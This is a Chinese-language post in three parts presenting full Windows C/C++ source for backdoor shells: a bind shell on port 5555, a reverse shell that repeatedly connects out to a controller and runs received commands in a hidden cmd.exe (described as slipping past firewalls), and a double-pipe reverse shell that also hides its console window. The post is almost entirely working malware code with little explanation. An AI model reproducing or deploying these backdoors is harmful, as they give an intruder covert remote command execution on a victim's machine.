后门shell各种奇怪的玩法（一）

```
无通道链接的后门shell

#define _CRT_SECURE_NO_WARNINGS
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <WinSock2.h>
#include <iostream>
#include <windows.h>
#include <cstdlib>
#include <iostream>
#include <ctime>
#define CMD_LINE_LEN 512
#define RECV_BUF_LEN 4096
using namespace std;

#pragma comment(lib, "ws2_32.lib")



BOOL GetCmdPath(char *pszResultBuf, size_t nSize, const char *pcszCmd = "")
{
    int iRet = 0;

    if (NULL == pcszCmd || !nSize || NULL == pszResultBuf)
    {
        return(FALSE);
    }
    iRet = ExpandEnvironmentStringsA("%COMSPEC%", pszResultBuf, nSize);
    if (!iRet)
    {
        GetSystemDirectory(pszResultBuf, nSize);
        strcat_s(pszResultBuf, nSize - strlen(pszResultBuf), "\\cmd.exe");
    }
    iRet = strlen(pcszCmd);
    if (iRet)
    {
        strcat_s(pszResultBuf, nSize - strlen(pszResultBuf), " /c ");
        strcat_s(pszResultBuf, nSize - strlen(pszResultBuf), pcszCmd);
    }

    return(TRUE);
}

BOOL StartShell(UINT uiPort)
{
    WSADATA wsaData = { 0 };
    int iRet = 0;
    SOCKET hSock = INVALID_SOCKET;
    SOCKET hClntSock = INVALID_SOCKET;
    SOCKADDR_IN stClntSockAddr = { 0 };
    SOCKADDR_IN stSockAddr = { 0 };
    int iSizeOfSockAddr = sizeof(stClntSockAddr);
    char szCmdLine[CMD_LINE_LEN] = { 0 };
    BOOL fOk = FALSE;
    PROCESS_INFORMATION pi = { 0 };
    STARTUPINFO si = { 0 };

    do
    {
        iRet = WSAStartup(MAKEWORD(2, 2), &wsaData);
        if (SOCKET_ERROR == iRet)
        {
            return(FALSE);
        }
        hSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
        if (INVALID_SOCKET == hSock)
```

```
        {
            break;
        }
        stSockAddr.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
        stSockAddr.sin_port = htons(uiPort);
        stSockAddr.sin_family = AF_INET;

        iRet = bind(hSock, (SOCKADDR *)&stSockAddr, sizeof(stSockAddr));
        if (SOCKET_ERROR == iRet)
        {
            break;
        }
        iRet = listen(hSock, 5);
        if (SOCKET_ERROR == iRet)
        {
            break;
        }

        hClntSock = accept(hSock, (SOCKADDR *)&stClntSockAddr, &iSizeOfSockAddr);
        if (INVALID_SOCKET == hClntSock)
        {
            break;
        }

        si.cb = sizeof(STARTUPINFO);
        GetStartupInfo(&si);
        si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
        si.hStdError = si.hStdInput = si.hStdOutput = (HANDLE)hClntSock;
        si.wShowWindow = SW_HIDE;

        if (!GetCmdPath(szCmdLine, CMD_LINE_LEN))
        {
            break;
        }
        if (!CreateProcessA(szCmdLine, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si,
&pi))
        {
            break;
        }
        WaitForSingleObject(pi.hProcess, INFINITE);
        fOk = TRUE;

    } while (FALSE);

    if (NULL != pi.hThread)
    {
        CloseHandle(pi.hThread);
    }
    if (NULL != pi.hProcess)
    {
        CloseHandle(pi.hProcess);
    }
    if (INVALID_SOCKET != hSock)
    {
        closesocket(hSock);
        hSock = INVALID_SOCKET;
    }
    if (INVALID_SOCKET != hClntSock)
    {
        closesocket(hClntSock);
        hClntSock = INVALID_SOCKET;
    }
    WSACleanup();

    return(fOk);
}

int APIENTRY WinMain(HINSTANCE hInstance,
    HINSTANCE hPrevInstance,
    LPTSTR    lpCmdLine,
    int       nCmdShow)
{
    StartShell(5555);

```

```
    return 0;
}
```

后门shell各种奇怪的玩法（二）

```
单管道主动型后门(反弹Shell)

这个后门的最大特点是控方作为服务端而被控端为客户端， 由于是由被控端主动请求连接主控端，所以不会有防火墙阻止之类的问题

#include <winsock2.h>
#include <windows.h>
#include <iostream>
#include <cstring>
#define CMD_LEN_BUF 512
#define RECV_LEN_BUF 4096

#pragma comment(lib, "ws2_32.lib")

using namespace std;

BOOL fExit = FALSE;

struct ThreadInfoNode
{
    HANDLE hPipe;
    SOCKET hSock;
};

DWORD WINAPI RecvResultAndSendToServer(LPVOID lpThreadParameter)
{
    ThreadInfoNode stNode = *(ThreadInfoNode *)lpThreadParameter;
    HANDLE hPipe = stNode.hPipe;
    SOCKET hSocket = stNode.hSock;
    char szBuf[RECV_LEN_BUF] = {0};
    int iRet = 0;
    DWORD dwTotalAvail = 0;
    BOOL fOk = FALSE;
    DWORD dwReaded = 0;

    while (!fExit)
    {
        fOk = PeekNamedPipe(hPipe, NULL, 0, NULL, &dwTotalAvail, NULL);
        if (fOk && dwTotalAvail > 0)
        {
            fOk = ReadFile(hPipe, szBuf, RECV_LEN_BUF, &dwReaded, NULL);
            if (fOk && dwReaded > 0)
            {
                int iCurr = 0;
                int iOffset = 0;
                do
                {
                    iCurr = send(hSocket, szBuf + iOffset, dwReaded, 0);
                    if (!iCurr || iCurr == SOCKET_ERROR)
                    {
                        fExit = TRUE;
                        break;
                    }
                    iOffset += iCurr;
                    dwReaded -= iCurr;
                    Sleep(50);
                } while (dwReaded > 0);
            }
            RtlZeroMemory(szBuf, RECV_LEN_BUF);

        }
    }

```

```
    return(0);
}

BOOL GetCmdPath(char *pszResultBuf, size_t nSize, const char *pcszCmd = "")
{
    int iRet = 0;

    if (NULL == pcszCmd || !nSize || NULL == pszResultBuf)
    {
        return(FALSE);
    }
    iRet = ExpandEnvironmentStringsA("%COMSPEC%", pszResultBuf, nSize);
    if (!iRet)
    {
        GetSystemDirectory(pszResultBuf, nSize);
        strcat_s(pszResultBuf, nSize - strlen(pszResultBuf), "\\cmd.exe");
    }
    iRet = strlen(pcszCmd);
    if (iRet)
    {
        strcat_s(pszResultBuf, nSize - strlen(pszResultBuf), " /c ");
        strcat_s(pszResultBuf, nSize - strlen(pszResultBuf), pcszCmd);
    }

    return(TRUE);
}


BOOL StartShell(const char *pcszIP, UINT uiPort)
{
    SOCKET hSock = INVALID_SOCKET;
    SOCKADDR_IN stSockAddr = {0};
    HANDLE hReadPipe = NULL, hWritePipe = NULL;
    HANDLE hThread = NULL;
    SECURITY_ATTRIBUTES sa = {0};
    STARTUPINFO si = {0};
    PROCESS_INFORMATION pi = {0};
    WSADATA stData = {0};
    int iRet = 0;

    if (NULL == pcszIP)
    {
        return(FALSE);
    }
    __try
    {
        if (SOCKET_ERROR == WSAStartup(MAKEWORD(2, 2), &stData))
        {
            return(FALSE);
        }
        hSock = socket(AF_INET, SOCK_STREAM, 0);
        if (INVALID_SOCKET == hSock)
        {
            __leave;
        }
        stSockAddr.sin_family = AF_INET;
        stSockAddr.sin_port = htons(uiPort);
        stSockAddr.sin_addr.S_un.S_addr = inet_addr(pcszIP);

        // connect one time every 0.5 min interval
        do
        {
            iRet = connect(hSock, (SOCKADDR *)&stSockAddr, sizeof(stSockAddr));
            Sleep(500);
        } while (SOCKET_ERROR == iRet);
        sa.bInheritHandle = TRUE;
        sa.lpSecurityDescriptor = NULL;
        sa.nLength = sizeof(sa);
        if (!CreatePipe(&hReadPipe, &hWritePipe, &sa, 0))
        {
            __leave;
        }
        si.cb = sizeof(STARTUPINFO);
        GetStartupInfo(&si);
```

```
        si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
        si.wShowWindow = SW_HIDE;
        si.hStdError = si.hStdOutput = hWritePipe;

        ThreadInfoNode stNode = {hReadPipe, hSock};

        hThread = CreateThread(NULL, 0, RecvResultAndSendToServer, &stNode, 0, NULL);
        if (NULL == hThread)
        {
            __leave;
        }
        char szCmdLine[CMD_LEN_BUF] = {0};
        char szCmdBuf[CMD_LEN_BUF] = {0};
        do
        {
            // get command from remote server
            iRet = recv(hSock, szCmdBuf, CMD_LEN_BUF, 0);
            if (!iRet || SOCKET_ERROR == iRet)
            {
                break;
            }
            // build command
            if (!GetCmdPath(szCmdLine, CMD_LEN_BUF, szCmdBuf))
            {
                continue;
            }
            // create cmd.exe process to execute command
            if (!CreateProcess(NULL, szCmdLine, NULL, NULL, TRUE, 0, NULL, NULL, &si,
&pi))
            {
                continue;
            }
            // if recieve command "exit", terminate process and sub-thread
            if (strstr(szCmdBuf, "exit\n"))
            {
                break;
            }
            RtlZeroMemory(szCmdBuf, CMD_LEN_BUF);
            Sleep(100);
        } while (TRUE);
        fExit = TRUE;
        WaitForSingleObject(hThread, INFINITE);
    }
    __finally
    {
        if (NULL != hReadPipe)
        {
            CloseHandle(hReadPipe);
            hReadPipe = NULL;
        }
        if (NULL != hWritePipe)
        {
            CloseHandle(hWritePipe);
            hWritePipe = NULL;
        }
        if (INVALID_SOCKET != hSock)
        {
            closesocket(hSock);
            hSock = INVALID_SOCKET;
        }
        if (NULL != pi.hProcess)
        {
            CloseHandle(pi.hProcess);
            pi.hProcess = NULL;
        }
        if (NULL != pi.hThread)
        {
            CloseHandle(pi.hThread);
            pi.hThread = NULL;
        }
    }

    return(TRUE);
}
```

```
int APIENTRY WinMain( __in HINSTANCE hInstance, __in_opt HINSTANCE hPrevInstance,
__in_opt LPSTR lpCmdLine, __in int nShowCmd )
{
    StartShell("127.0.0.1", 9999);

    return(0);
}
```

后门shell各种奇怪的玩法（三）

```
主要涉及到了socket通信和管道。
后门分为主动连接型和反向连接型，区别就是一个是后门程序作为服务端，另一个是后门程序作为客户端。
双管道的原因：cmd执行结果写入管道1写句柄，后门从管道1读句柄读取cmd执行结果，后门接受到的命令通过管道2的写句柄写入，cmd通过管道2的读句柄读出。
多的不说，直接上代码，我觉得注释还是比较详细了
#include<iostream>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<winsock.h>
#include<Windows.h>

#pragma comment(lib,"ws2_32.lib")

SOCKET Connecting(unsigned short Port);
void CmdLine(SOCKET s);
int Hide();

int main() {
    Hide();
    SOCKET s;
    s = Connecting(8888);
    CmdLine(s);
    closesocket(s);
    WSACleanup();
    return 0;

}

SOCKET Connecting(unsigned short Port) {
    WSADATA wsa;
    if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0)
        return SOCKET_ERROR;

    //创建套接字
    SOCKET s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (s == INVALID_SOCKET)
        return SOCKET_ERROR;

    //对sockaddr_in结构体填充地址，端口等信息
    struct sockaddr_in ServerAddr;
    ServerAddr.sin_family = AF_INET;
    ServerAddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
    ServerAddr.sin_port = htons(Port);


    //连接服务器
    while (connect(s, (SOCKADDR *)&ServerAddr, sizeof(ServerAddr)));
    return s;
}
void CmdLine(SOCKET s) {
    //双管道读写句柄
    HANDLE hReadPipe1, hWritePipe1, hReadPipe2, hWritePipe2;
    //对SECURITY_ATTRIBUTES结构体进行填充
    SECURITY_ATTRIBUTES se;
    se.nLength = 12;
    se.lpSecurityDescriptor = 0;
```

```
    se.bInheritHandle = true;
    //创建管道
    CreatePipe(&hReadPipe1, &hWritePipe1, &se, 0);      //管道1
    CreatePipe(&hReadPipe2, &hWritePipe2, &se, 0);      //管道2

    //指定cmd的启动信息
    STARTUPINFO si;
    ZeroMemory(&si, sizeof(si));
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    si.wShowWindow = SW_HIDE;
    si.hStdInput = hReadPipe2;
    si.hStdOutput = si.hStdError = hWritePipe1;

    PROCESS_INFORMATION Pro;
    //创建进程
    char cmdline[] = "cmd.exe";
    CreateProcess(NULL,cmdline, NULL, NULL, 1, 0, NULL, NULL, &si, &Pro);


    while (1)
    {
        unsigned long lBytesRead;
        char Buff[1024];
        //查看cmd是否有输出
        PeekNamedPipe(hReadPipe1, Buff, 1024, &lBytesRead, 0, 0);
        if (lBytesRead)
        {
            //读取cmd的输出,发送到客户端
            ReadFile(hReadPipe1, Buff, lBytesRead, &lBytesRead, 0);
                send(s, Buff, lBytesRead, 0);

        }
        else
        {
            //接收客户端命令
            lBytesRead = recv(s, Buff, 1024, 0);
            //把命令传给cmd
            WriteFile(hWritePipe2, Buff, lBytesRead, &lBytesRead, 0);
        }
    }
}

int Hide() {
    HWND hwnd;
    hwnd = FindWindow("ConsoleWindowClass", NULL);  //处理顶级窗口的类名和窗口名称匹配指定的字符串,不搜索子窗口。
    if (hwnd)
    {
        ShowWindow(hwnd, SW_HIDE);              //设置指定窗口的显示状态
    }
    return 0;
}

```